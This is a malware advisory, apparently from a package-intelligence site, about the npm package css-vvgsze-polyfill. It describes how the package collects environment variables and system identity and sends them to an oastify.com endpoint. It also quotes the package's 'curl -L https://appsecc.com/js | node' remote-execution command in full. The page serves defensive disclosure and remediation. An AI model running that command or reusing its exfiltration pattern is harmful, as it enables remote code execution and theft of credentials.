# MAL-2026-17577: Malicious code in css-vvgsze-polyfill (npm)


- **Type:** Malicious package
- **Package:** `css-vvgsze-polyfill` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17577?

MAL-2026-17577 is a malicious package in css-vvgsze-polyfill, published on 5 Oct 2026. 

### Official description

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

## What should I do about MAL-2026-17577?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17577 is a malicious package: css-vvgsze-polyfill (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17577/ (Markdown: https://insights.sbomify.com/MAL-2026-17577/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17577

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17577/
Summaries are generated and may contain mistakes; the official description above is the record.